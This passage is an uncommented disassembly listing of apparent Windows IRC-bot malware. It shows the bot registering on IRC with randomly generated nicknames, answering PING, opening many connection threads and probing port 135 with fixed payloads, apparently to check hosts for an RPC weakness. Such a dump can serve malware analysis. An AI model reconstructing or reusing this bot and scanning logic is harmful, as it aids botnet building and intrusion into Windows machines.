[ebp+arg_0] nop call near ptr 27F0D61h test eax, eax jz short loc_41788C push offset dword_4D3830 push esi call sub_4263E5 pop ecx test eax, eax pop ecx jnz short loc_41788C lea eax, [esi+400h] push offset dword_4D4030 push eax call sub_4263E5 pop ecx test eax, eax pop ecx jz short loc_4178BC loc_41788C: ; CODE XREF: sub_4177C3+9Fj ; sub_4177C3+B0j push esi push 0 call edi push eax call near ptr 27E0000h nop jmp short loc_4178A0 ; --------------------------------------------------------------------------- loc_41789A: ; CODE XREF: sub_4177C3+5Dj mov eax, [ebp+var_48] mov [ebp+var_4], eax loc_4178A0: ; CODE XREF: sub_4177C3+71j ; sub_4177C3+77j ... add ebx, [ebp+var_4] cmp ebx, [ebp+var_C] jb loc_41780E loc_4178AC: ; CODE XREF: sub_4177C3+3Fj push [ebp+arg_0] nop call near ptr 266076Ah loc_4178B5: ; CODE XREF: sub_4177C3+1Ej xor eax, eax loc_4178B7: ; CODE XREF: sub_4177C3+134j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_4178BC: ; CODE XREF: sub_4177C3+C7j add ebx, 800h lea eax, [esi+800h] xor ecx, ecx mov dword_4D4A4C, ebx mov dword_4D4A50, eax cmp [eax], cl jnz short loc_4178DE cmp [eax+1], cl jz short loc_4178E6 loc_4178DE: ; CODE XREF: sub_4177C3+114j ; sub_4177C3+121j inc ecx inc eax inc eax cmp byte ptr [eax], 0 jnz short loc_4178DE loc_4178E6: ; CODE XREF: sub_4177C3+119j mov eax, [ebp+arg_4] push [ebp+arg_0] mov [eax], ecx nop call near ptr 266076Ah push 1 pop eax jmp short loc_4178B7 sub_4177C3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4178F9 proc near ; CODE XREF: sub_4172C1+135p var_8 = word ptr -8 var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, dword_4D4A48 push esi mov esi, dword_427154 push edi lea ecx, [eax+eax] lea eax, [eax+eax+2] mov [ebp+var_6], ax mov [ebp+var_8], cx movzx eax, ax push eax push 8 call esi push eax call near ptr 27F0000h nop mov ecx, dword_4D4A48 mov [ebp+var_4], eax add ecx, ecx push ecx push dword_4D4A50 push eax call sub_41CD20 add esp, 0Ch lea eax, [ebp+var_8] push eax mov al, byte ptr dword_4D4A54 push eax call dword_4D4834 push [ebp+var_4] mov edi, offset dword_4D4840 push offset dword_4D3830 push offset dword_4D4030 push [ebp+arg_0] push offset dword_4386C4 push 200h push edi call sub_41C360 add esp, 1Ch push [ebp+var_4] push 0 call esi push eax nop call near ptr 27E0000h mov eax, edi pop edi pop esi leave retn sub_4178F9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417990 proc near ; CODE XREF: sub_4172C1:loc_4173FDp var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h mov eax, dword_4D4A48 push ebx push esi push edi lea ecx, [eax+eax] lea eax, [eax+eax+2] mov [ebp+var_16], ax mov [ebp+var_18], cx movzx eax, ax push eax push 8 nop call near ptr 27F0AF2h push eax nop call near ptr 27F0000h and [ebp+var_C], 0 mov [ebp+var_14], eax mov ebx, offset dword_4D4030 mov edi, 200h mov esi, offset dword_4D3630 loc_4179D6: ; CODE XREF: sub_417990+FAj mov eax, dword_4D4A48 add eax, eax push eax push dword_4D4A50 push [ebp+var_14] call sub_41CD20 add esp, 0Ch lea eax, [ebp+var_18] push eax push [ebp+var_C] call dword_4D4834 mov eax, dword_4D4A48 and [ebp+var_10], 0 mov ecx, [ebp+var_14] mov [ebp+var_8], 1 test eax, eax jbe short loc_417A4B loc_417A13: ; CODE XREF: sub_417990+B3j cmp [ebp+var_8], 0 jz short loc_417A68 mov dl, [ecx] test dl, dl mov [ebp+var_1], dl jz short loc_417A37 cmp byte ptr [ecx+1], 0 jnz short loc_417A37 cmp dl, 20h jnb short loc_417A31 and [ebp+var_8], 0 loc_417A31: ; CODE XREF: sub_417990+9Bj cmp [ebp+var_1], 7Eh jbe short loc_417A3B loc_417A37: ; CODE XREF: sub_417990+90j ; sub_417990+96j and [ebp+var_8], 0 loc_417A3B: ; CODE XREF: sub_417990+A5j inc ecx inc ecx inc [ebp+var_10] cmp [ebp+var_10], eax jb short loc_417A13 cmp [ebp+var_8], 0 jz short loc_417A68 loc_417A4B: ; CODE XREF: sub_417990+81j push [ebp+var_14] push offset dword_4D3830 push ebx push [ebp+arg_0] push offset dword_4386C4 push edi push esi call sub_41C360 add esp, 1Ch jmp short loc_417A80 ; --------------------------------------------------------------------------- loc_417A68: ; CODE XREF: sub_417990+87j ; sub_417990+B9j push offset dword_4D3830 push ebx push [ebp+arg_0] push offset dword_438714 push edi push esi call sub_41C360 add esp, 18h loc_417A80: ; CODE XREF: sub_417990+D6j inc [ebp+var_C] cmp [ebp+var_C], 0FFh jbe loc_4179D6 push [ebp+var_14] push 0 call near ptr 27F0AF2h nop push eax call near ptr 27E0000h nop mov eax, esi pop edi pop esi pop ebx leave retn sub_417990 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417AA9 proc near ; CODE XREF: sub_417C61+2Fp var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi push edi push 0 push 1 push 2 call dword_4CBA54 mov edi, eax or esi, 0FFFFFFFFh cmp edi, esi jz short loc_417B25 push 10h lea eax, [ebp+var_10] push 0 push eax call sub_41BF70 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_4] call dword_4CB9D4 push [ebp+arg_0] mov [ebp+var_E], ax call dword_4CBA14 cmp eax, esi jnz short loc_417B0A push [ebp+arg_0] call dword_4CBA58 test eax, eax jz short loc_417B25 mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] loc_417B0A: ; CODE XREF: sub_417AA9+4Bj mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push edi call dword_4CB97C cmp eax, esi jnz short loc_417B29 push edi call dword_4CBA6C loc_417B25: ; CODE XREF: sub_417AA9+1Bj ; sub_417AA9+58j mov eax, esi jmp short loc_417B2B ; --------------------------------------------------------------------------- loc_417B29: ; CODE XREF: sub_417AA9+73j mov eax, edi loc_417B2B: ; CODE XREF: sub_417AA9+7Ej pop edi pop esi leave retn sub_417AA9 endp ; =============== S U B R O U T I N E ======================================= sub_417B2F proc near ; CODE XREF: sub_401ACD+324Cp ; sub_401ACD+32B6p ... arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] push offset asc_42A080 ; "\n" push edi call sub_41C8A0 pop ecx mov esi, offset dword_4D4A5C pop ecx loc_417B47: ; CODE XREF: sub_417B2F+42j cmp dword ptr [esi-4], 1 jnz short loc_417B65 cmp dword ptr [esi], 0 jbe short loc_417B65 push 0 push edi call sub_41B9C0 pop ecx push eax push edi push dword ptr [esi] call dword_4CBA24 loc_417B65: ; CODE XREF: sub_417B2F+1Cj ; sub_417B2F+21j add esi, 210h cmp esi, offset dword_4DB17C jl short loc_417B47 pop edi pop esi retn sub_417B2F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417B76 proc near ; CODE XREF: sub_417C61+155p var_420 = byte ptr -420h var_220 = byte ptr -220h var_20 = dword ptr -20h var_1C = dword ptr -1Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 420h push ebx push esi mov esi, offset asc_42CDC0 ; " " push edi push esi push [ebp+arg_0] call sub_41CAD4 pop ecx mov [ebp+var_20], eax pop ecx lea edi, [ebp+var_1C] push 7 pop ebx loc_417B9B: ; CODE XREF: sub_417B76+35j push esi push 0 call sub_41CAD4 mov [edi], eax pop ecx add edi, 4 dec ebx pop ecx jnz short loc_417B9B mov esi, [ebp+var_1C] xor edi, edi cmp [ebp+var_20], edi jnz short loc_417BC3 cmp esi, edi jnz short loc_417BC3 push 1 pop eax jmp loc_417C5C ; --------------------------------------------------------------------------- loc_417BC3: ; CODE XREF: sub_417B76+3Fj ; sub_417B76+43j push [ebp+var_20] push offset aPing ; "PING" call sub_41CA50 pop ecx pop ecx test eax, eax push esi jnz short loc_417BDE push offset dword_43932C jmp short loc_417C2C ; --------------------------------------------------------------------------- loc_417BDE: ; CODE XREF: sub_417B76+5Fj push offset a433 ; "433" call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_417BFF push esi push offset dword_439328 call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_417C5A loc_417BFF: ; CODE XREF: sub_417B76+76j push 200h lea eax, [ebp+var_420] push edi push eax call sub_41BF70 lea eax, [ebp+var_420] push eax call sub_417E84 add esp, 10h lea eax, [ebp+var_420] push eax push offset dword_43931C loc_417C2C: ; CODE XREF: sub_417B76+66j lea eax, [ebp+var_220] push eax call sub_41C266 add esp, 0Ch lea eax, [ebp+var_220] push edi push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_220] push eax push [ebp+arg_4] call dword_4CBA24 loc_417C5A: ; CODE XREF: sub_417B76+87j xor eax, eax loc_417C5C: ; CODE XREF: sub_417B76+48j pop edi pop esi pop ebx leave retn sub_417B76 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417C61 proc near ; DATA XREF: sub_417E06+61o var_4008 = byte ptr -4008h var_3008 = byte ptr -3008h var_2008 = byte ptr -2008h var_1008 = byte ptr -1008h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 4008h call sub_41C500 push ebx push esi mov esi, [ebp+arg_0] push edi imul esi, 210h push 1 pop edi lea eax, dword_4D4A64[esi] mov dword_4D4A58[esi], edi push dword_4D4C64[esi] push eax call sub_417AA9 pop ecx xor ebx, ebx cmp eax, edi pop ecx mov dword_4D4A5C[esi], eax jb loc_417DE6 mov edi, 1000h lea eax, [ebp+var_2008] push edi push ebx push eax call sub_41BF70 lea eax, [ebp+var_2008] push eax call sub_417E84 lea eax, [ebp+var_4008] push eax call sub_417E84 lea eax, [ebp+var_3008] push eax call sub_417E84 add esp, 18h lea eax, [ebp+var_3008] push eax lea eax, [ebp+var_4008] push eax lea eax, [ebp+var_2008] push eax lea eax, [ebp+var_1008] push offset aNickSUserSHotm ; "NICK %s\nUSER %s \"hotmail.com\" \"127.0.0."... push eax call sub_41C266 add esp, 14h lea eax, [ebp+var_1008] push ebx push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_1008] push eax push dword_4D4A5C[esi] call dword_4CBA24 push edi lea eax, [ebp+var_1008] push ebx push eax call sub_41BF70 add esp, 0Ch loc_417D3D: ; CODE XREF: sub_417C61+111j ; sub_417C61+180j push edi lea eax, [ebp+var_1008] push ebx push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp+var_1008] push ebx push edi push eax push dword_4D4A5C[esi] call dword_4CB9EC cmp eax, ebx mov [ebp+var_8], eax jle short loc_417DE6 xor eax, eax cmp [ebp+var_8], ebx mov [ebp+var_4], eax jz short loc_417D3D loc_417D74: ; CODE XREF: sub_417C61+17Ej mov al, [ebp+eax+var_1008] cmp al, 0Dh jz short loc_417D9B cmp al, 0Ah jz short loc_417D9B cmp [ebp+arg_0], 0FA0h jz short loc_417D9B mov ecx, [ebp+arg_0] inc [ebp+arg_0] mov [ebp+ecx+var_2008], al jmp short loc_417DD5 ; --------------------------------------------------------------------------- loc_417D9B: ; CODE XREF: sub_417C61+11Cj ; sub_417C61+120j ... mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_417DD5 push dword_4D4A5C[esi] mov [ebp+eax+var_2008], bl lea eax, [ebp+var_2008] push eax call sub_417B76 pop ecx test eax, eax pop ecx ja short loc_417DE6 push edi lea eax, [ebp+var_2008] push ebx push eax call sub_41BF70 add esp, 0Ch mov [ebp+arg_0], ebx loc_417DD5: ; CODE XREF: sub_417C61+138j ; sub_417C61+13Fj mov eax, [ebp+var_4] inc eax cmp eax, [ebp+var_8] mov [ebp+var_4], eax jnz short loc_417D74 jmp loc_417D3D ; --------------------------------------------------------------------------- loc_417DE6: ; CODE XREF: sub_417C61+40j ; sub_417C61+107j ... mov dword_4D4A58[esi], ebx mov esi, dword_4D4A5C[esi] cmp esi, ebx jbe short loc_417DFD push esi call dword_4CBA6C loc_417DFD: ; CODE XREF: sub_417C61+193j pop edi pop esi xor eax, eax pop ebx leave retn 4 sub_417C61 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417E06 proc near ; CODE XREF: sub_401ACD+319Bp var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx push ebx xor ebx, ebx cmp [ebp+arg_8], ebx push esi push edi mov [ebp+var_4], ebx jle short loc_417E7F loc_417E18: ; CODE XREF: sub_417E06+77j xor edi, edi mov eax, offset dword_4D4A58 loc_417E1F: ; CODE XREF: sub_417E06+28j cmp [eax], ebx jz short loc_417E30 add eax, 210h inc edi cmp eax, offset dword_4DB178 jl short loc_417E1F loc_417E30: ; CODE XREF: sub_417E06+1Bj cmp edi, 31h jz short loc_417E7F mov esi, edi push [ebp+arg_0] imul esi, 210h lea eax, dword_4D4A64[esi] push eax call sub_41C890 mov eax, [ebp+arg_4] pop ecx mov dword_4D4C64[esi], eax pop ecx lea eax, [ebp+var_8] mov dword_4D4A58[esi], 1 push eax push ebx push edi push offset sub_417C61 push ebx push ebx nop call near ptr 2680089h inc [ebp+var_4] mov eax, [ebp+var_4] cmp eax, [ebp+arg_8] jl short loc_417E18 loc_417E7F: ; CODE XREF: sub_417E06+10j ; sub_417E06+2Dj pop edi pop esi pop ebx leave retn sub_417E06 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417E84 proc near ; CODE XREF: sub_401ACD+36FDp ; sub_401ACD+3747p ... var_40 = byte ptr -40h var_2D = byte ptr -2Dh var_2C = byte ptr -2Ch var_2B = byte ptr -2Bh var_18 = qword ptr -18h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 40h push 14h lea eax, [ebp+var_2C] push 0 push eax call sub_41BF70 add esp, 0Ch call sub_41C2C2 mov [ebp+var_C], eax fild [ebp+var_C] fmul dbl_4276D8 call sub_41D174 cmp eax, 1 jnz short loc_417ECE call sub_41C2C2 call sub_41C2C2 push 66h cdq pop ecx idiv ecx push off_438A68[edx*4] jmp short loc_417EE7 ; --------------------------------------------------------------------------- loc_417ECE: ; CODE XREF: sub_417E84+2Fj call sub_41C2C2 call sub_41C2C2 cdq mov ecx, 0C0h idiv ecx push off_438768[edx*4] loc_417EE7: ; CODE XREF: sub_417E84+48j lea eax, [ebp+var_2C] push eax call sub_41C890 pop ecx lea eax, [ebp+var_2C] pop ecx push ebx push esi push edi push eax call sub_41B9C0 pop ecx mov esi, eax push 13h mov [ebp+var_4], esi pop eax sub eax, esi mov [ebp+var_C], eax call sub_41C2C2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276D0 call sub_41D174 mov ebx, eax call sub_41C2C2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fimul [ebp+var_4] fmul dbl_4276C8 call sub_41D174 cmp esi, 2 mov edi, offset a__0 ; "-|`_\\{[]}" jle short loc_417F5A cmp esi, 3 jnz short loc_417F51 cmp ebx, 1 jz short loc_417F5A loc_417F51: ; CODE XREF: sub_417E84+C6j cmp eax, 1 jnz loc_418014 loc_417F5A: ; CODE XREF: sub_417E84+C1j ; sub_417E84+CBj call sub_41C2C2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276C0 call sub_41D174 push off_438A68[eax*4] lea eax, [ebp+var_40] push eax call sub_41C890 movsx eax, [ebp+esi+var_2D] lea ebx, [ebp+esi+var_2C] push eax push edi call sub_41C990 add esp, 10h test eax, eax jnz short loc_418001 movsx eax, [ebp+var_40] push eax push edi call sub_41C990 pop ecx test eax, eax pop ecx jnz short loc_418001 call sub_41C2C2 mov dword ptr [ebp+var_18+4], eax dec esi fild dword ptr [ebp+var_18+4] mov dword ptr [ebp+var_18+4], esi fild dword ptr [ebp+var_18+4] fmulp st(1), st fmul dbl_4276C8 call sub_41D174 cmp eax, 1 jnz short loc_418001 push edi call sub_41B9C0 and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] pop ecx fstp qword ptr [ebp-8] call sub_41C2C2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul qword ptr [ebp-8] fmul dbl_4276C8 call sub_41D174 mov al, byte ptr a__0[eax] ; "-|`_\\{[]}" mov [ebx], al loc_418001: ; CODE XREF: sub_417E84+111j ; sub_417E84+122j ... push [ebp+var_C] lea eax, [ebp+var_40] push eax lea eax, [ebp+var_2C] push eax call sub_41CBC0 add esp, 0Ch loc_418014: ; CODE XREF: sub_417E84+D0j lea eax, [ebp+var_2C] push eax call sub_41B9C0 mov esi, eax movsx eax, [ebp+esi+var_2D] lea ebx, [ebp+esi+var_2C] push eax mov [ebp+var_4], esi call sub_41DEE8 pop ecx test eax, eax pop ecx jnz loc_41827C and [ebp+var_C], eax movsx eax, byte ptr [ebx-1] push eax push edi call sub_41C990 pop ecx test eax, eax pop ecx jnz loc_418173 call sub_41C2C2 mov dword ptr [ebp+var_18+4], eax lea eax, [esi+3] fild dword ptr [ebp+var_18+4] mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmulp st(1), st fmul dbl_4276C8 call sub_41D174 cmp esi, 3 jz short loc_418082 cmp eax, 1 jnz loc_418173 loc_418082: ; CODE XREF: sub_417E84+1F3j push 2 cdq pop ecx idiv ecx cmp edx, 1 jnz short loc_4180C4 push edi call sub_41B9C0 and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] pop ecx fstp qword ptr [ebp-10h] call sub_41C2C2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul qword ptr [ebp-10h] fmul dbl_4276C8 call sub_41D174 mov al, byte ptr a__0[eax] ; "-|`_\\{[]}" mov [ebx], al jmp short loc_4180E0 ; --------------------------------------------------------------------------- loc_4180C4: ; CODE XREF: sub_417E84+207j call sub_41C2C2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276B8 call sub_41D174 mov cl, 41h sub cl, al mov [ebx], cl loc_4180E0: ; CODE XREF: sub_417E84+23Ej push 1 inc esi pop ebx mov [ebp+var_4], esi mov [ebp+var_C], ebx call sub_41C2C2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276B0 call sub_41D174 cmp esi, 3 jz short loc_418109 cmp eax, ebx jnz short loc_418173 loc_418109: ; CODE XREF: sub_417E84+27Fj push 2 pop ebx cdq mov ecx, ebx idiv ecx test edx, edx jnz short loc_41814E push edi call sub_41B9C0 and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] pop ecx fstp qword ptr [ebp-10h] call sub_41C2C2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul qword ptr [ebp-10h] fmul dbl_4276C8 call sub_41D174 mov al, byte ptr a__0[eax] ; "-|`_\\{[]}" mov [ebp+esi+var_2C], al jmp short loc_41816C ; --------------------------------------------------------------------------- loc_41814E: ; CODE XREF: sub_417E84+28Fj call sub_41C2C2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276B8 call sub_41D174 mov cl, 41h sub cl, al mov [ebp+esi+var_2C], cl loc_41816C: ; CODE XREF: sub_417E84+2C8j inc esi mov [ebp+var_C], ebx mov [ebp+var_4], esi loc_418173: ; CODE XREF: sub_417E84+1C9j ; sub_417E84+1F8j ... cmp esi, 6 jge loc_4181FC cmp esi, 5 jge short loc_418194 call sub_41C2C2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276D0 jmp short loc_4181B2 ; --------------------------------------------------------------------------- loc_418194: ; CODE XREF: sub_417E84+2FBj call sub_41C2C2 push 8 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] pop eax sub eax, esi mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmulp st(1), st fmul dbl_4276C8 loc_4181B2: ; CODE XREF: sub_417E84+30Ej call sub_41D174 test eax, eax jnz short loc_4181D5 call sub_41C2C2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276A8 call sub_41D174 mov cl, 30h jmp short loc_4181F2 ; --------------------------------------------------------------------------- loc_4181D5: ; CODE XREF: sub_417E84+335j cmp eax, 1 jnz short loc_4181FC call sub_41C2C2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276B8 call sub_41D174 mov cl, 41h loc_4181F2: ; CODE XREF: sub_417E84+34Fj sub cl, al mov [ebp+esi+var_2C], cl inc esi mov [ebp+var_4], esi loc_4181FC: ; CODE XREF: sub_417E84+2F2j ; sub_417E84+354j cmp [ebp+var_C], 2 jge short loc_41827C call sub_41C2C2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fimul [ebp+var_4] fmul dbl_4276C8 call sub_41D174 cmp eax, 1 jnz short loc_41827C call sub_41C2C2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276A8 call sub_41D174 mov cl, 30h sub cl, al mov [ebp+esi+var_2C], cl call sub_41C2C2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276A0 call sub_41D174 cmp eax, 1 jnz short loc_41827C cmp [ebp+var_C], eax jge short loc_41827C call sub_41C2C2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_427698 call sub_41D174 mov cl, 30h sub cl, al mov [ebp+esi+var_2B], cl loc_41827C: ; CODE XREF: sub_417E84+1B1j ; sub_417E84+37Cj ... lea eax, [ebp+var_2C] push 14h push eax push [ebp+arg_0] call sub_41BFD0 mov eax, [ebp+arg_0] add esp, 0Ch pop edi pop esi pop ebx leave retn sub_417E84 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418295 proc near ; CODE XREF: sub_4182CD+125p ; sub_4182CD+14Cp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_4] xor esi, esi sub edi, [ebp+arg_C] test edi, edi jle short loc_4182C3 loc_4182A6: ; CODE XREF: sub_418295+2Cj push [ebp+arg_C] mov eax, [ebp+arg_0] add eax, esi push [ebp+arg_8] push eax call sub_41DF40 add esp, 0Ch test eax, eax jz short loc_4182C9 inc esi cmp esi, edi jl short loc_4182A6 loc_4182C3: ; CODE XREF: sub_418295+Fj xor al, al loc_4182C5: ; CODE XREF: sub_418295+36j pop edi pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_4182C9: ; CODE XREF: sub_418295+27j mov al, 1 jmp short loc_4182C5 sub_418295 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4182CD proc near ; CODE XREF: ___:0040DFD7p ; ___:0040E0C0p var_2010 = byte ptr -2010h var_200E = byte ptr -200Eh var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 2010h call sub_41C500 mov eax, [ebp+arg_4] push esi dec eax push edi jz short loc_41830E dec eax jz short loc_4182EC dec eax loc_4182E6: ; CODE XREF: sub_4182CD+57j xor eax, eax loc_4182E8: ; CODE XREF: sub_4182CD+3Fj ; sub_4182CD+169j pop edi pop esi leave retn ; --------------------------------------------------------------------------- loc_4182EC: ; CODE XREF: sub_4182CD+16j push 3 push 1388h push [ebp+arg_0] call dword_4CBA14 push eax call sub_40C34B add esp, 0Ch neg eax sbb eax, eax and eax, 3 jmp short loc_4182E8 ; --------------------------------------------------------------------------- loc_41830E: ; CODE XREF: sub_4182CD+13j push 6 push 1 push 2 call dword_4CBA54 mov esi, eax or edi, 0FFFFFFFFh cmp esi, edi mov [ebp+arg_4], esi jz short loc_4182E6 push ebx xor ebx, ebx push 10h lea eax, [ebp+var_10] push ebx push eax call sub_41BF70 add esp, 0Ch mov [ebp+var_10], 2 push 87h call dword_4CB9D4 push [ebp+arg_0] mov [ebp+var_E], ax call sub_40A8F0 pop ecx mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push esi call dword_4CB97C cmp eax, edi jz loc_41842A push ebx push 48h push offset dword_439374 push esi call dword_4CBA24 cmp eax, edi jz loc_41842A mov esi, 2000h push ebx lea eax, [ebp+var_2010] push esi push eax push [ebp+arg_4] call dword_4CB9EC cmp eax, edi jz loc_41842A cmp [ebp+var_200E], 0Ch jnz short loc_41842A push ebx push 18h push offset dword_4393C0 push [ebp+arg_4] call dword_4CBA24 cmp eax, edi jz short loc_41842A push ebx lea eax, [ebp+var_2010] push esi push eax push [ebp+arg_4] call dword_4CB9EC mov esi, eax cmp esi, edi jz short loc_41842A cmp [ebp+var_200E], 2 jnz short loc_41842A push 10h push offset loc_4393DC lea eax, [ebp+var_2010] push esi push eax call sub_418295 add esp, 10h test al, al jz short loc_41840A cmp esi, 12Ch setnl bl inc ebx jmp short loc_41842A ; --------------------------------------------------------------------------- loc_41840A: ; CODE XREF: sub_4182CD+12Fj push 10h push offset dword_4393F0 lea eax, [ebp+var_2010] push esi push eax call sub_418295 add esp, 10h neg al sbb eax, eax and eax, 3 mov ebx, eax loc_41842A: ; CODE XREF: sub_4182CD+9Bj ; sub_4182CD+B2j ... push [ebp+arg_4] call dword_4CBA6C mov eax, ebx pop ebx jmp loc_4182E8 sub_4182CD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41843B proc near ; CODE XREF: sub_401ACD+BD0p ; sub_401ACD+C0Dp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] xor esi, esi cmp edi, esi jz short loc_4184C6 mov eax, [ebp+arg_4] cmp eax, esi jz short loc_4184C6 cmp [ebp+arg_8], esi jz short loc_4184C6 cmp byte ptr [eax], 0 jz short loc_4184C6 push ebx push edi call sub_426465 mov ebx, eax pop ecx test ebx, ebx jz short loc_4184C1 push [ebp+arg_4] push edi call sub_41C2E0 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_4184BA sub eax, edi push eax push edi push ebx call sub_41BFD0 push [ebp+arg_8] mov eax, ebx sub eax, edi and byte ptr [eax+esi], 0 call sub_41B9C0 push eax push [ebp+arg_8] push ebx call sub_41CBC0 push [ebp+arg_4] call sub_41B9C0 add eax, esi push eax push ebx call sub_41C8A0 push ebx push edi call sub_41C890 add esp, 30h mov esi, edi loc_4184BA: ; CODE XREF: sub_41843B+3Cj push ebx call sub_41BA91 pop ecx loc_4184C1: ; CODE XREF: sub_41843B+2Bj mov eax, esi pop ebx jmp short loc_4184C8 ; --------------------------------------------------------------------------- loc_4184C6: ; CODE XREF: sub_41843B+Cj ; sub_41843B+13j ... xor eax, eax loc_4184C8: ; CODE XREF: sub_41843B+89j pop edi pop esi pop ebp retn sub_41843B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4184CC proc near ; CODE XREF: sub_401955+E9p ; ___:00410CF1p var_7D0 = dword ptr -7D0h var_7CC = byte ptr -7CCh arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 7D0h push ebx push esi push 7D0h lea eax, [ebp+var_7D0] push 0 push eax call sub_41BF70 mov esi, [ebp+arg_0] push esi call sub_41B9C0 add esp, 10h push 1 pop ebx cmp eax, ebx jge short loc_418502 or eax, 0FFFFFFFFh jmp short loc_418575 ; --------------------------------------------------------------------------- loc_418502: ; CODE XREF: sub_4184CC+2Fj xor ecx, ecx mov [ebp+var_7D0], esi test eax, eax jle short loc_418524 loc_41850E: ; CODE XREF: sub_4184CC+56j mov dl, [ecx+esi] cmp dl, 0Ah jz short loc_41851B cmp dl, 0Dh jnz short loc_41851F loc_41851B: ; CODE XREF: sub_4184CC+48j and byte ptr [ecx+esi], 0 loc_41851F: ; CODE XREF: sub_4184CC+4Dj inc ecx cmp ecx, eax jl short loc_41850E loc_418524: ; CODE XREF: sub_4184CC+40j xor edx, edx push edi test eax, eax jle short loc_418555 lea edi, [ebp+var_7CC] loc_418531: ; CODE XREF: sub_4184CC+87j cmp byte ptr [edx+esi], 0 jnz short loc_418550 cmp byte ptr [edx+esi+1], 0 lea ecx, [edx+esi+1] jz short loc_418550 cmp ebx, 1F4h jge short loc_418555 mov [edi], ecx inc ebx add edi, 4 loc_418550: ; CODE XREF: sub_4184CC+69j ; sub_4184CC+74j inc edx cmp edx, eax jl short loc_418531 loc_418555: ; CODE XREF: sub_4184CC+5Dj ; sub_4184CC+7Cj cmp [ebp+arg_4], 0 pop edi jz short loc_418573 lea eax, [ebp+var_7D0] push 7D0h push eax push [ebp+arg_4] call sub_41CD20 add esp, 0Ch loc_418573: ; CODE XREF: sub_4184CC+8Ej mov eax, 